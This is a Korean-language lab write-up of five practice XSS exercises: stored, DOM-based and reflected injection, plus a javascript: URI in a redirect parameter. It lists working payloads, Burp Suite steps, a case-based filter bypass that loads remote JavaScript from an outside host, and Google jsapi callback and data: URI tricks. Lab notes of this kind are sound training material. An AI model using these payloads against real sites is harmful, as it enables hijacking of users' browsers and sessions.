XSS란?
[보안 취약점 진단 및 대응/취약점] - XSS/CSRF 공격
[모의해킹] - XSS(Cross Site Scripting) 공격
# 실습1 : Stored XSS
(1) script 공격 시도
[입력] <script>alert('hi hi hi')</script>
=> 출력값 없음, 위와 같이 작성하면 스크립트 동작 없음
(2) input 태그를 사용한 공격 시도
[입력] <input type="text" value="XSS ATTACK" onClick="alert('공격이다!!')"/>
=> input box 클릭 시 alert 창 출력됨
(3) img 태그를 사용한 공격 시도
[입력] <img src="aaa" onerror="alert('XSS 공격~~~')">
=> 이미지 로드에 실패 했을 때, onerror 실행
=> 새로고침 할 때마다 실행됨.
(4) a 태그를 사용한 공격 시도
[입력] <a href="javascript:alert('너는 공격 당했다!! 하하하')">여기를 클릭하세요</a>
=> “여기를 클릭하세요”를 누르면 alert 창이 출력됨
(추가)
=> blockquote 태그는 단순한 텍스트를 표시하는 용도로 사용됨
# 실습2 : DOM based XSS
(1) 사이트가 어떻게 동작하는지 확인
=> Burp suite에서 Intercept is on으로 바꾸고, 사이트에 접속
=> Repeater로 보내서 Response 확인
=> 버튼을 클릭하면 chooseTab 함수가 실행됨
=> chooseTab 함수에 num이 들어가면 num.jpg를 포함한 img 태그를 만들어 냄
(2) img 태그를 개발자 도구에서 확인
=> 버튼을 클릭했을 때 img1을 클릭하면 url주소가 #1, img2을 클릭하면 url주소가 #2로 변함
=> #7777 입력
=> 개발자도구를 확인해보면 "<img src='/lhs/quiz2/q3/iu" + num + ".jpg' />"; 형식으로 입력되어 있음
(3) 공격 시도
[입력] #1.jpg' onload=alert('XSS_1');'
=> 1.jpg는 존재하는 그림이므로 onload 사용
[입력] #7777.jpg' onerror=alert('XSS_2');’
=> 7777.jpg는 존재하지 않는 그림이므로 onerror 사용
# 실습3 : Reflected XSS
(1) 아무 값이나 넣고 어떻게 동작하는지 확인
[입력] abcdef
=> Burp suite에서 Intercept is on으로 바꾸고, 사이트에서 abcdef(아무 값)를 넣고 전송
=> Repeater로 전송하여 Response 부분을 확인해보면 동작구조를 확인할 수 있음
=> <img src="iu1.jpg" onload="startTimer('abcdef');" />
=> 이미지로 startTimer함수에 입력값이 넘어감
(2) 공격 시도
[입력] abcdef'); alert('XSS ATTACK!!><'); ('
=> 공격 URL : 빨간 네모 주소창
=> 해당 주소를 공유하면 이 주소를 클릭한 사람들은 모두 XSS 공격을 받게 됨
# 실습4 : XSS
(1) 웹페이지 구조 확인
=> Burp suite에서 Intercept is on으로 바꾸고, 사이트 접속
=> Repeater로 전송하여 Response 부분을 확인해보면 동작구조를 확인할 수 있음
=> <a href="signup.jsp?next=confirm.html">
=> a 태그를 클릭하면 페이지 이동
=> /confirm.html로 이동
(2) a 태그를 클릭 후 넘어가는 페이지에 공격 구문 삽입
[입력] 스크립트 구문 : next=javascript:alert(‘XSS_ATTACK’);
=> 공격은 가입하기를 누를 때, 넘어가는 next에 스크립트 구문을 넣어야함
=> next = confirm.html 부분에 next = 스크립트 구문 작성
=> 공격구문 삽입 후 Forward를 클릭 후 Intercept is off로 변경
=> Response를 확인해보면 a 태그(다음으로)의 링크가 바뀐 것을 확인할 수 있음
(3) 공격 확인
=> 공격이 발생하는 곳은 가입하기 다음 페이지에 다음으로를 클릭하면 스크립트 구문이 작동
=> 공격 URI : (생략)...q5/signup.jsp?next=javascript:alert(%27XSS_ATTACK%27);
=> 해당 주소를 공유하면 이 주소를 클릭한 사람들은 모두 XSS 공격을 받게 됨
# 실습5 : XSS
(1) 웹페이지 구조 확인
=> Burp suite에서 Intercept is on으로 바꾸고, 사이트 접속
=> Repeater로 전송하여 Response 부분을 확인해보면 동작구조를 확인할 수 있음
(2) 동작 확인
=> includeGadget에 url이 들어오면 동작하는 함수
=> /^https?:\/\//(정규식) 형태의 값이 들어오면 알림창 띄움
=> 있는 것은 띄워주고, 없는 것은 오류 발생
=> loading.js, attack.js
(3) test111.js을 사용한 공격 시도
[입력] (생략)...q6/index.html#http://shanky.co.kr:38080/lhs/js/test111.js
=> http 소문자만 막아놨기 때문에 실행 안됨
[입력] (생략)...q6/index.html#Http://shanky.co.kr:38080/lhs/js/test111.js
=> url 주소를 http가 아닌 Http로 입력하면 실행됨
(4) Google jsapi 중 callback 함수를 사용한 공격 시도
[입력] (생략)...q6/index.html#Http://www.google.com/jsapi?callback=alert
=> google jsapi에서 제공해주는 것 사용할 수 있음
(5) Data URI 타입 사용
[입력] (생략)...q6/index.html#data:text/html,alert(‘XSS123’)
=> url에 데이터 형태로 전송해도 됨